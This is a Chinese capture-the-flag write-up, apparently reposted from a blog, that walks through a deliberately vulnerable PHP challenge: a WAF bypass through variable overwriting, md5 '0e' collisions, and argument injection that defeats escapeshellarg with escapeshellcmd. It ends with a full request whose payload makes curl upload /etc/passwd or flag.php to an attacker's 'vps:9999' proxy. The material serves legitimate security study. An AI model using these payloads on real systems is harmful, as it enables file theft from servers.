【红日Day5-CTF】escapeshellarg与escapeshellcmd 漏洞

练习记录

复现代码:

index.php

//index.php
<?php
highlight_file('index.php');
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['hongri']){
        exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
        $url = $_GET['url'];
        $urlInfo = parse_url($url);
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
            die( "scheme error!");
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);
        system("curl ".$url);
    }
}
?>

flag.php

// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>

漏洞分析:

进入网站:

http://10.211.55.5/PHPcode/day5/index.php

在这里插入图片描述

发现页面正常,可以进行操作了。

这道题主要考察全局变量覆盖,结合 unset 函数绕过waf,以及通过curl读取文件,接下来我们将代码分为两个部分看看吧。

第一部分:

我们看到 第10-13行 代码:

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
    }

}

首先第1行,循环获取字符串 GET、POST、COOKIE,并依次赋值给变量 $__R。在 第2行中先判断 $$__R 变量是否存在数据,如果存在,则继续判断超全局数组GET、POST、COOKIE中是否存在键值相等的,如果存在,则删除该变量。这里有个可变变量的概念需要先理解一下。

可变变量指的是: 一个变量的变量名可以动态的设置和使用。一个可变变量获取了一个普通变量的值作为其变量名。
举个例子方便理解:

<?php
$a="hello";
$$a="world";
var_dump($a,$$a,$hello)
?>

在这里插入图片描述
这里使用 $$将通过变量a获取到的数据,注册成为一个新的变量(这里是 变量hello )。然后会发现变量 $$a 的输出数据和变量 $hello的输出数据一致(如上图,输出为 world )。

通过GET请求向index.php提交flag=test,接着通过POST请求提交 _GET[flag]=test。当开始遍历 $_POST 超全局数组的时候,$__k代表 _GET[flag],所以$$__k 就是 $_GET[flag],即test值,此时 $$__k == $__v成立,变量$_GET[flag]就被 unset了。但是在 第22行 和 23行 有这样一串代码:

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

extract 函数:作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值。
EXTR_SKIP 参数:表示如果前面存在此变量,不对前面的变量进行覆盖处理。

由于我们前面通过 POST 请求提交 _GET[flag]=test,所以这里会变成 $_GET[flag]=test,这里的 $_GET 变量就不需要再经过waf函数检测了,也就绕过了 preg_match('/flag/i',$key)的限制。下面举个extract函数用例:

<?php
$b=3;
$a=array('b'=>'1');
extract($a);
print_r($b);
?>

结果为:1

接着到了25行比较两个变量的md5值,我们构造出20e开头的md5即可绕过,这样就进入第二阶段。

第二部分:

第二阶段主要考察 curl读取文件。这里主要加了两个坑,我们之前说过的两个函数 escapeshellarg()escapeshellcmd() 一起使用的时候会造成的问题,主要看看这部分代码。

if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
        $url = $_GET['url'];
        $urlInfo = parse_url($url);
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
            die( "scheme error!");
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);
        system("curl ".$url);
    }

这里的 第7行第8行增加了两个过滤。

  • escapeshellarg :将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
  • escapeshellcmd :会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0A 和 xFF, ' 和 "仅在不配对的时候被转义。

例如:

在这里插入图片描述
在字符串增加了引号同时会进行转义,那么之前的payload

http://127.0.0.1/index1.php?url=http://127.0.0.1 -T /etc/passwd

因为增加了 '进行了转义,所以整个字符串会被当成参数。注意 escapeshellcmd的问题是在于如果'"仅在不配对的时候被转义。那么如果我们多增加一个'就可以扰乱之前的转义了。如下:
在这里插入图片描述
curl中存在-F提交表单的方法,也可以提交文件。-F <key=value>向服务器POST表单,例如: curl -F "[email protected];type=text/html" url.com。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload为:

http://baidu.com/' -F file=@/etc/passwd -x  vps:9999

在这里插入图片描述
这里应该是和 curl版本有关系,我在7.54.0 下没有测试成功。
在这里插入图片描述
题目中的 curl版本是 7.19.7

在这里插入图片描述
根据猜测,可能在是新版本中,先会执行 curl http的操作,但是由于在后面增加了,例如 http://127.0.0.1, 但是curl无法找到这样的文件,出现404。出现404之后,后面的提交文件的操作就不进行了,程序就退出了。这样在vps上面就无法接受到文件了。

所以这题最后的 payload是这样的:

POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x  vps:9999 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

_GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x  vps:9999

这道题没有Linux环境没有复现成功

发布了35 篇原创文章 · 获赞 19 · 访问量 5200

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/103939281